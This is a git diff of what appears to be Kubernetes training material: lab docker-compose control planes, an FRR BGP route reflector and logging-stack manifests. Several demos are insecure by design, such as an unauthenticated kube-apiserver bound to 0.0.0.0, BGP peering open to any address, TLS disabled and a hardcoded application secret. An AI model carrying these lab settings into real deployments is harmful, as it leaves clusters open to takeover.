Test gitpod

Add instructions specific to Zoom, explaining how to
use the chat room and the non-verbal communication cues

.gitignore

@@ -1,13 +1,24 @@
 *.pyc
 *.swp
 *~
-prepare-vms/ips.txt
-prepare-vms/ips.html
-prepare-vms/ips.pdf
-prepare-vms/settings.yaml
 prepare-vms/tags
+prepare-vms/infra
+prepare-vms/www
 slides/*.yml.html
 slides/autopilot/state.yaml
 slides/index.html
 slides/past.html
+slides/slides.zip
 node_modules
+
+### macOS ###
+# General
+.DS_Store
+.AppleDouble
+.LSOverride
+
+### Windows ###
+# Windows thumbnail cache files
+Thumbs.db
+ehthumbs.db
+ehthumbs_vista.db

.gitpod.yml

@@ -0,0 +1 @@
+image: jpetazzo/shpod

README.md

@@ -39,7 +39,7 @@ your own tutorials.
 All these materials have been gathered in a single repository
 because they have a few things in common:
 
-- some [common slides](slides/common/) that are re-used
+- some [shared slides](slides/shared/) that are re-used
   (and updated) identically between different decks;
 - a [build system](slides/) generating HTML slides from
   Markdown source files;
@@ -199,7 +199,7 @@ this section is for you!
   locked-down computer, host firewall, etc.
 - Horrible wifi, or ssh port TCP/22 not open on network! If wifi sucks you
   can try using MOSH https://mosh.org which handles SSH over UDP. TMUX can also
-  prevent you from loosing your place if you get disconnected from servers.
+  prevent you from losing your place if you get disconnected from servers.
   https://tmux.github.io
 - Forget to print "cards" and cut them up for handing out IP's.
 - Forget to have fun and focus on your students!

compose/frr-route-reflector/conf/bgpd.conf

@@ -0,0 +1,9 @@
+hostname frr
+router bgp 64512
+network 1.0.0.2/32
+bgp log-neighbor-changes
+neighbor kube peer-group
+neighbor kube remote-as 64512
+neighbor kube route-reflector-client
+bgp listen range 0.0.0.0/0 peer-group kube
+log stdout

compose/frr-route-reflector/conf/zebra.conf

@@ -0,0 +1,2 @@
+hostname frr
+log stdout

compose/frr-route-reflector/docker-compose.yaml

@@ -0,0 +1,34 @@
+version: "3"
+
+services:
+  bgpd:
+    image: ajones17/frr:662
+    volumes:
+    - ./conf:/etc/frr
+    - ./run:/var/run/frr
+    network_mode: host
+    entrypoint: /usr/lib/frr/bgpd -f /etc/frr/bgpd.conf --log=stdout --log-level=debug --no_kernel
+    restart: always
+
+  zebra:
+    image: ajones17/frr:662
+    volumes:
+    - ./conf:/etc/frr
+    - ./run:/var/run/frr
+    network_mode: host
+    entrypoint: /usr/lib/frr/zebra -f /etc/frr/zebra.conf --log=stdout --log-level=debug
+    restart: always
+
+  vtysh:
+    image: ajones17/frr:662
+    volumes:
+    - ./conf:/etc/frr
+    - ./run:/var/run/frr
+    network_mode: host
+    entrypoint: vtysh -c "show ip bgp"
+
+  chmod:
+    image: alpine
+    volumes:
+    - ./run:/var/run/frr
+    command: chmod 777 /var/run/frr

compose/kube-router-k8s-control-plane/docker-compose.yaml

@@ -0,0 +1,29 @@
+version: "3"
+
+services:
+
+  pause:
+    ports:
+    - 8080:8080
+    image: k8s.gcr.io/pause
+
+  etcd:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/etcd:3.4.3
+    command: etcd
+
+  kube-apiserver:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.17.2
+    command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount --allow-privileged
+
+  kube-controller-manager:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.17.2
+    command: kube-controller-manager --master http://localhost:8080 --allocate-node-cidrs --cluster-cidr=10.CLUSTER.0.0/16
+    "Edit the CLUSTER placeholder first. Then, remove this line.":
+    
+  kube-scheduler:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.17.2
+    command: kube-scheduler --master http://localhost:8080

compose/kube-router-k8s-control-plane/kuberouter.yaml

@@ -0,0 +1,128 @@
+---
+apiVersion: |+
+
+
+  Make sure you update the line with --master=http://X.X.X.X:8080 below.
+  Then remove this section from this YAML file and try again.
+
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: kube-router-cfg
+  namespace: kube-system
+  labels:
+    k8s-app: kube-router
+data:
+  cni-conf.json: |
+    {
+       "cniVersion":"0.3.0",
+       "name":"mynet",
+       "plugins":[
+          {
+             "name":"kubernetes",
+             "type":"bridge",
+             "bridge":"kube-bridge",
+             "isDefaultGateway":true,
+             "ipam":{
+                "type":"host-local"
+             }
+          }
+       ]
+    }
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  labels:
+    k8s-app: kube-router
+  name: kube-router
+  namespace: kube-system
+spec:
+  selector:
+    matchLabels:
+      k8s-app: kube-router
+  template:
+    metadata:
+      labels:
+        k8s-app: kube-router
+      annotations:
+        scheduler.alpha.kubernetes.io/critical-pod: ''
+    spec:
+      serviceAccountName: kube-router
+      containers:
+      - name: kube-router
+        image: docker.io/cloudnativelabs/kube-router
+        imagePullPolicy: Always
+        args:
+        - "--run-router=true"
+        - "--run-firewall=true"
+        - "--run-service-proxy=true"
+        - "--master=http://X.X.X.X:8080"
+        env:
+        - name: NODE_NAME
+          valueFrom:
+            fieldRef:
+              fieldPath: spec.nodeName
+        - name: KUBE_ROUTER_CNI_CONF_FILE
+          value: /etc/cni/net.d/10-kuberouter.conflist
+        livenessProbe:
+          httpGet:
+            path: /healthz
+            port: 20244
+          initialDelaySeconds: 10
+          periodSeconds: 3
+        resources:
+          requests:
+            cpu: 250m
+            memory: 250Mi
+        securityContext:
+          privileged: true
+        volumeMounts:
+        - name: lib-modules
+          mountPath: /lib/modules
+          readOnly: true
+        - name: cni-conf-dir
+          mountPath: /etc/cni/net.d
+      initContainers:
+      - name: install-cni
+        image: busybox
+        imagePullPolicy: Always
+        command:
+        - /bin/sh
+        - -c
+        - set -e -x;
+          if [ ! -f /etc/cni/net.d/10-kuberouter.conflist ]; then
+            if [ -f /etc/cni/net.d/*.conf ]; then
+              rm -f /etc/cni/net.d/*.conf;
+            fi;
+            TMP=/etc/cni/net.d/.tmp-kuberouter-cfg;
+            cp /etc/kube-router/cni-conf.json ${TMP};
+            mv ${TMP} /etc/cni/net.d/10-kuberouter.conflist;
+          fi
+        volumeMounts:
+        - mountPath: /etc/cni/net.d
+          name: cni-conf-dir
+        - mountPath: /etc/kube-router
+          name: kube-router-cfg
+      hostNetwork: true
+      tolerations:
+      - key: CriticalAddonsOnly
+        operator: Exists
+      - effect: NoSchedule
+        key: node-role.kubernetes.io/master
+        operator: Exists
+      - effect: NoSchedule
+        key: node.kubernetes.io/not-ready
+        operator: Exists
+      volumes:
+      - name: lib-modules
+        hostPath:
+          path: /lib/modules
+      - name: cni-conf-dir
+        hostPath:
+          path: /etc/cni/net.d
+      - name: kube-router-cfg
+        configMap:
+          name: kube-router-cfg
+

compose/simple-k8s-control-plane/docker-compose.yaml

@@ -0,0 +1,28 @@
+version: "3"
+
+services:
+
+  pause:
+    ports:
+    - 8080:8080
+    image: k8s.gcr.io/pause
+
+  etcd:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/etcd:3.4.3
+    command: etcd
+
+  kube-apiserver:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.17.2
+    command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount
+
+  kube-controller-manager:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.17.2
+    command: kube-controller-manager --master http://localhost:8080
+    
+  kube-scheduler:
+    network_mode: "service:pause"
+    image: k8s.gcr.io/hyperkube:v1.17.2
+    command: kube-scheduler --master http://localhost:8080

dockercoins/hasher/Dockerfile

@@ -5,6 +5,3 @@ RUN gem install thin
 ADD hasher.rb /
 CMD ["ruby", "hasher.rb"]
 EXPOSE 80
-HEALTHCHECK \
-  --interval=1s --timeout=2s --retries=3 --start-period=1s \
-  CMD curl http://localhost/ || exit 1

elk/docker-compose.yml

@@ -2,14 +2,14 @@ version: "2"
 
 services:
   elasticsearch:
-    image: elasticsearch
+    image: elasticsearch:2
     # If you need to access ES directly, just uncomment those lines.
     #ports:
     #  - "9200:9200"
     #  - "9300:9300"
 
   logstash:
-    image: logstash
+    image: logstash:2
     command: |
       -e '
       input {
@@ -47,7 +47,7 @@ services:
       - "12201:12201/udp"
 
   kibana:
-    image: kibana
+    image: kibana:4
     ports:
       - "5601:5601"
     environment:

k8s/canary.yaml

@@ -0,0 +1,21 @@
+apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: whatever
+  annotations:
+    traefik.ingress.kubernetes.io/service-weights: |
+      whatever: 90%
+      whatever-new: 10%
+spec:
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: whatever
+          servicePort: 80
+      - path: /
+        backend:
+          serviceName: whatever-new
+          servicePort: 80

k8s/coffee-1.yaml

@@ -0,0 +1,15 @@
+apiVersion: apiextensions.k8s.io/v1beta1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  version: v1alpha1
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof
+

k8s/coffee-2.yaml

@@ -0,0 +1,35 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        properties:
+          spec:
+            required:
+            - taste
+            properties:
+              taste:
+                description: Subjective taste of that kind of coffee bean
+                type: string
+    additionalPrinterColumns:
+    - jsonPath: .spec.taste
+      description: Subjective taste of that kind of coffee bean
+      name: Taste
+      type: string
+    - jsonPath: .metadata.creationTimestamp
+      name: Age
+      type: date

k8s/coffees.yaml

@@ -0,0 +1,29 @@
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: arabica
+spec:
+  taste: strong
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: robusta
+spec:
+  taste: stronger
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: liberica
+spec:
+  taste: smoky
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: excelsa
+spec:
+  taste: fruity
+

k8s/consul.yaml

@@ -1,3 +1,33 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+    namespace: default
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
 apiVersion: v1
 kind: Service
 metadata:
@@ -24,6 +54,7 @@ spec:
       labels:
         app: consul
     spec:
+      serviceAccountName: consul
       affinity:
         podAntiAffinity:
           requiredDuringSchedulingIgnoredDuringExecution:
@@ -37,18 +68,11 @@ spec:
       terminationGracePeriodSeconds: 10
       containers:
         - name: consul
-          image: "consul:1.2.2"
-          env:
-            - name: NAMESPACE
-              valueFrom:
-                fieldRef:
-                  fieldPath: metadata.namespace
+          image: "consul:1.6"
           args:
             - "agent"
             - "-bootstrap-expect=3"
-            - "-retry-join=consul-0.consul.$(NAMESPACE).svc.cluster.local"
-            - "-retry-join=consul-1.consul.$(NAMESPACE).svc.cluster.local"
-            - "-retry-join=consul-2.consul.$(NAMESPACE).svc.cluster.local"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\""
             - "-client=0.0.0.0"
             - "-data-dir=/consul/data"
             - "-server"

k8s/dockercoins.yaml

@@ -0,0 +1,160 @@
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: dockercoins/hasher:v0.1
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: dockercoins/rng:v0.1
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: dockercoins/webui:v0.1
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: worker
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: dockercoins/worker:v0.1
+        name: worker

k8s/eck-cerebro.yaml

@@ -0,0 +1,69 @@
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: cerebro
+  name: cerebro
+spec:
+  selector:
+    matchLabels:
+      app: cerebro
+  template:
+    metadata:
+      labels:
+        app: cerebro
+    spec:
+      volumes:
+      - name: conf
+        configMap:
+          name: cerebro
+      containers:
+      - image: lmenezes/cerebro
+        name: cerebro
+        volumeMounts:
+        - name: conf
+          mountPath: /conf
+        args:
+        - -Dconfig.file=/conf/application.conf
+        env:
+        - name: ELASTICSEARCH_PASSWORD
+          valueFrom:       
+            secretKeyRef:      
+              name: demo-es-elastic-user
+              key: elastic
+
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: cerebro
+  name: cerebro
+spec:
+  ports:
+  - port: 9000
+    protocol: TCP
+    targetPort: 9000
+  selector:
+    app: cerebro
+  type: NodePort
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: cerebro
+data:
+  application.conf: |
+    secret = "ki:s:[[@=Ag?QI`W2jMwkY:eqvrJ]JqoJyi2axj3ZvOv^/KavOT4ViJSv?6YY4[N"
+
+    hosts = [
+      {
+        host = "http://demo-es-http.eck-demo.svc.cluster.local:9200"
+        name = "demo"
+        auth = {
+          username = "elastic"
+          password = ${?ELASTICSEARCH_PASSWORD}
+        }
+      }
+    ]

k8s/eck-elasticsearch.yaml

@@ -0,0 +1,19 @@
+apiVersion: elasticsearch.k8s.elastic.co/v1
+kind: Elasticsearch
+metadata:
+  name: demo
+  namespace: eck-demo
+spec:
+  http:
+    tls:
+      selfSignedCertificate:
+        disabled: true
+  nodeSets:
+  - name: default
+    count: 1
+    config:
+      node.data: true
+      node.ingest: true
+      node.master: true
+      node.store.allow_mmap: false
+  version: 7.5.1

k8s/eck-filebeat.yaml

@@ -0,0 +1,168 @@
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-config
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+data:
+  filebeat.yml: |-
+    filebeat.inputs:
+    - type: container
+      paths:
+        - /var/log/containers/*.log
+      processors:
+        - add_kubernetes_metadata:
+            host: ${NODE_NAME}
+            matchers:
+            - logs_path:
+                logs_path: "/var/log/containers/"
+
+    # To enable hints based autodiscover, remove `filebeat.inputs` configuration and uncomment this:
+    #filebeat.autodiscover:
+    #  providers:
+    #    - type: kubernetes
+    #      node: ${NODE_NAME}
+    #      hints.enabled: true
+    #      hints.default_config:
+    #        type: container
+    #        paths:
+    #          - /var/log/containers/*${data.kubernetes.container.id}.log
+
+    processors:
+      - add_cloud_metadata:
+      - add_host_metadata:
+
+    cloud.id: ${ELASTIC_CLOUD_ID}
+    cloud.auth: ${ELASTIC_CLOUD_AUTH}
+
+    output.elasticsearch:
+      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
+      username: ${ELASTICSEARCH_USERNAME}
+      password: ${ELASTICSEARCH_PASSWORD}
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: filebeat
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+spec:
+  selector:
+    matchLabels:
+      k8s-app: filebeat
+  template:
+    metadata:
+      labels:
+        k8s-app: filebeat
+    spec:
+      serviceAccountName: filebeat
+      terminationGracePeriodSeconds: 30
+      hostNetwork: true
+      dnsPolicy: ClusterFirstWithHostNet
+      containers:
+      - name: filebeat
+        image: docker.elastic.co/beats/filebeat:7.5.1
+        args: [
+          "-c", "/etc/filebeat.yml",
+          "-e",
+        ]
+        env:
+        - name: ELASTICSEARCH_HOST
+          value: demo-es-http
+        - name: ELASTICSEARCH_PORT
+          value: "9200"
+        - name: ELASTICSEARCH_USERNAME
+          value: elastic
+        - name: ELASTICSEARCH_PASSWORD
+          valueFrom:
+            secretKeyRef:
+              name: demo-es-elastic-user
+              key: elastic
+        - name: ELASTIC_CLOUD_ID
+          value:
+        - name: ELASTIC_CLOUD_AUTH
+          value:
+        - name: NODE_NAME
+          valueFrom:
+            fieldRef:
+              fieldPath: spec.nodeName
+        securityContext:
+          runAsUser: 0
+          # If using Red Hat OpenShift uncomment this:
+          #privileged: true
+        resources:
+          limits:
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 100Mi
+        volumeMounts:
+        - name: config
+          mountPath: /etc/filebeat.yml
+          readOnly: true
+          subPath: filebeat.yml
+        - name: data
+          mountPath: /usr/share/filebeat/data
+        - name: varlibdockercontainers
+          mountPath: /var/lib/docker/containers
+          readOnly: true
+        - name: varlog
+          mountPath: /var/log
+          readOnly: true
+      volumes:
+      - name: config
+        configMap:
+          defaultMode: 0600
+          name: filebeat-config
+      - name: varlibdockercontainers
+        hostPath:
+          path: /var/lib/docker/containers
+      - name: varlog
+        hostPath:
+          path: /var/log
+      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
+      - name: data
+        hostPath:
+          path: /var/lib/filebeat-data
+          type: DirectoryOrCreate
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: filebeat
+subjects:
+- kind: ServiceAccount
+  name: filebeat
+  namespace: eck-demo
+roleRef:
+  kind: ClusterRole
+  name: filebeat
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: filebeat
+  labels:
+    k8s-app: filebeat
+rules:
+- apiGroups: [""] # "" indicates the core API group
+  resources:
+  - namespaces
+  - pods
+  verbs:
+  - get
+  - watch
+  - list
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: filebeat
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+---

k8s/eck-kibana.yaml

@@ -0,0 +1,17 @@
+apiVersion: kibana.k8s.elastic.co/v1
+kind: Kibana
+metadata:
+  name: demo
+spec:
+  version: 7.5.1
+  count: 1
+  elasticsearchRef:
+    name: demo
+    namespace: eck-demo
+  http:
+    service:
+      spec:
+        type: NodePort
+    tls:
+      selfSignedCertificate:
+        disabled: true

k8s/efk.yaml

@@ -3,7 +3,7 @@ apiVersion: v1
 kind: ServiceAccount
 metadata:
   name: fluentd
-
+  namespace: default
 ---
 apiVersion: rbac.authorization.k8s.io/v1beta1
 kind: ClusterRole
@@ -19,7 +19,6 @@ rules:
   - get
   - list
   - watch
-
 ---
 kind: ClusterRoleBinding
 apiVersion: rbac.authorization.k8s.io/v1beta1
@@ -33,23 +32,22 @@ subjects:
 - kind: ServiceAccount
   name: fluentd
   namespace: default
-
 ---
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: DaemonSet
 metadata:
   name: fluentd
+  namespace: default
   labels:
-    k8s-app: fluentd-logging
-    version: v1
-    kubernetes.io/cluster-service: "true"
+    app: fluentd
 spec:
+  selector:
+    matchLabels:
+      app: fluentd
   template:
     metadata:
       labels:
-        k8s-app: fluentd-logging
-        version: v1
-        kubernetes.io/cluster-service: "true"
+        app: fluentd
     spec:
       serviceAccount: fluentd
       serviceAccountName: fluentd
@@ -58,7 +56,7 @@ spec:
         effect: NoSchedule
       containers:
       - name: fluentd
-        image: fluent/fluentd-kubernetes-daemonset:elasticsearch
+        image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
         env:
           - name:  FLUENT_ELASTICSEARCH_HOST
             value: "elasticsearch"
@@ -66,12 +64,12 @@ spec:
             value: "9200"
           - name: FLUENT_ELASTICSEARCH_SCHEME
             value: "http"
-          # X-Pack Authentication
-          # =====================
-          - name: FLUENT_ELASTICSEARCH_USER
-            value: "elastic"
-          - name: FLUENT_ELASTICSEARCH_PASSWORD
-            value: "changeme"
+          - name: FLUENT_UID
+            value: "0"
+          - name: FLUENTD_SYSTEMD_CONF
+            value: "disable"
+          - name: FLUENTD_PROMETHEUS_CONF
+            value: "disable"
         resources:
           limits:
             memory: 200Mi
@@ -92,131 +90,87 @@ spec:
       - name: varlibdockercontainers
         hostPath:
           path: /var/lib/docker/containers
-
 ---
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: Deployment
 metadata:
-  annotations:
-    deployment.kubernetes.io/revision: "1"
-  creationTimestamp: null
-  generation: 1
   labels:
-    run: elasticsearch
+    app: elasticsearch
   name: elasticsearch
-  selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/elasticsearch
+  namespace: default
 spec:
-  progressDeadlineSeconds: 600
-  replicas: 1
-  revisionHistoryLimit: 10
   selector:
     matchLabels:
-      run: elasticsearch
-  strategy:
-    rollingUpdate:
-      maxSurge: 1
-      maxUnavailable: 1
-    type: RollingUpdate
+      app: elasticsearch
   template:
     metadata:
-      creationTimestamp: null
       labels:
-        run: elasticsearch
+        app: elasticsearch
     spec:
       containers:
-      - image: elasticsearch:5.6.8
-        imagePullPolicy: IfNotPresent
+      - image: elasticsearch:5
         name: elasticsearch
-        resources: {}
-        terminationMessagePath: /dev/termination-log
-        terminationMessagePolicy: File
-      dnsPolicy: ClusterFirst
-      restartPolicy: Always
-      schedulerName: default-scheduler
-      securityContext: {}
-      terminationGracePeriodSeconds: 30
-
+        resources:
+          limits:
+            memory: 2Gi
+          requests:
+            memory: 1Gi
+        env:
+        - name: ES_JAVA_OPTS
+          value: "-Xms1g -Xmx1g"
 ---
 apiVersion: v1
 kind: Service
 metadata:
-  creationTimestamp: null
   labels:
-    run: elasticsearch
+    app: elasticsearch
   name: elasticsearch
-  selfLink: /api/v1/namespaces/default/services/elasticsearch
+  namespace: default
 spec:
   ports:
   - port: 9200
     protocol: TCP
     targetPort: 9200
   selector:
-    run: elasticsearch
-  sessionAffinity: None
+    app: elasticsearch
   type: ClusterIP
-
 ---
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: Deployment
 metadata:
-  annotations:
-    deployment.kubernetes.io/revision: "1"
-  creationTimestamp: null
-  generation: 1
   labels:
-    run: kibana
+    app: kibana
   name: kibana
-  selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/kibana
+  namespace: default
 spec:
-  progressDeadlineSeconds: 600
-  replicas: 1
-  revisionHistoryLimit: 10
   selector:
     matchLabels:
-      run: kibana
-  strategy:
-    rollingUpdate:
-      maxSurge: 1
-      maxUnavailable: 1
-    type: RollingUpdate
+      app: kibana
   template:
     metadata:
-      creationTimestamp: null
       labels:
-        run: kibana
+        app: kibana
     spec:
       containers:
       - env:
         - name: ELASTICSEARCH_URL
           value: http://elasticsearch:9200/
-        image: kibana:5.6.8
-        imagePullPolicy: Always
+        image: kibana:5
         name: kibana
         resources: {}
-        terminationMessagePath: /dev/termination-log
-        terminationMessagePolicy: File
-      dnsPolicy: ClusterFirst
-      restartPolicy: Always
-      schedulerName: default-scheduler
-      securityContext: {}
-      terminationGracePeriodSeconds: 30
-
 ---
 apiVersion: v1
 kind: Service
 metadata:
-  creationTimestamp: null
   labels:
-    run: kibana
+    app: kibana
   name: kibana
-  selfLink: /api/v1/namespaces/default/services/kibana
+  namespace: default
 spec:
-  externalTrafficPolicy: Cluster
   ports:
   - port: 5601
     protocol: TCP
     targetPort: 5601
   selector:
-    run: kibana
-  sessionAffinity: None
+    app: kibana
   type: NodePort

k8s/elasticsearch-cluster.yaml

@@ -0,0 +1,21 @@
+apiVersion: enterprises.upmc.com/v1
+kind: ElasticsearchCluster
+metadata:
+  name: es
+spec:
+  kibana:
+    image: docker.elastic.co/kibana/kibana-oss:6.1.3
+    image-pull-policy: Always
+  cerebro:
+    image: upmcenterprises/cerebro:0.7.2
+    image-pull-policy: Always
+  elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
+  image-pull-policy: Always
+  client-node-replicas: 2
+  master-node-replicas: 3
+  data-node-replicas: 3
+  network-host: 0.0.0.0
+  use-ssl: false
+  data-volume-size: 10Gi
+  java-options: "-Xms512m -Xmx512m"
+

k8s/elasticsearch-operator.yaml

@@ -0,0 +1,94 @@
+# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: elasticsearch-operator
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRole
+metadata:
+  name: elasticsearch-operator
+rules:
+- apiGroups: ["extensions"]
+  resources: ["deployments", "replicasets", "daemonsets"]
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["apiextensions.k8s.io"]
+  resources: ["customresourcedefinitions"]
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["storage.k8s.io"]
+  resources: ["storageclasses"]
+  verbs: ["get", "list", "create", "delete", "deletecollection"]
+- apiGroups: [""]
+  resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"] 
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["batch"]
+  resources: ["cronjobs", "jobs"]
+  verbs: ["create", "get", "deletecollection", "delete"]
+- apiGroups: [""]
+  resources: ["pods"]
+  verbs: ["list", "get", "watch"]
+- apiGroups: ["apps"]
+  resources: ["statefulsets", "deployments"]
+  verbs: ["*"]
+- apiGroups: ["enterprises.upmc.com"]
+  resources: ["elasticsearchclusters"]
+  verbs: ["*"]
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRoleBinding
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: elasticsearch-operator
+subjects:
+- kind: ServiceAccount
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+---
+apiVersion: extensions/v1beta1
+kind: Deployment
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+spec:
+  replicas: 1
+  template:
+    metadata:
+      labels:
+        name: elasticsearch-operator
+    spec:
+      containers:
+      - name: operator
+        image: upmcenterprises/elasticsearch-operator:0.2.0
+        imagePullPolicy: Always
+        env:
+        - name: NAMESPACE
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.namespace
+        ports:
+        - containerPort: 8000
+          name: http
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8000
+          initialDelaySeconds: 10
+          timeoutSeconds: 10
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8000
+          initialDelaySeconds: 10
+          timeoutSeconds: 5
+      serviceAccount: elasticsearch-operator

k8s/filebeat.yaml

@@ -0,0 +1,167 @@
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-config
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+data:
+  filebeat.yml: |-
+    filebeat.config:
+      inputs:
+        # Mounted `filebeat-inputs` configmap:
+        path: ${path.config}/inputs.d/*.yml
+        # Reload inputs configs as they change:
+        reload.enabled: false
+      modules:
+        path: ${path.config}/modules.d/*.yml
+        # Reload module configs as they change:
+        reload.enabled: false
+
+    # To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
+    #filebeat.autodiscover:
+    #  providers:
+    #    - type: kubernetes
+    #      hints.enabled: true
+
+    processors:
+      - add_cloud_metadata:
+
+    cloud.id: ${ELASTIC_CLOUD_ID}
+    cloud.auth: ${ELASTIC_CLOUD_AUTH}
+
+    output.elasticsearch:
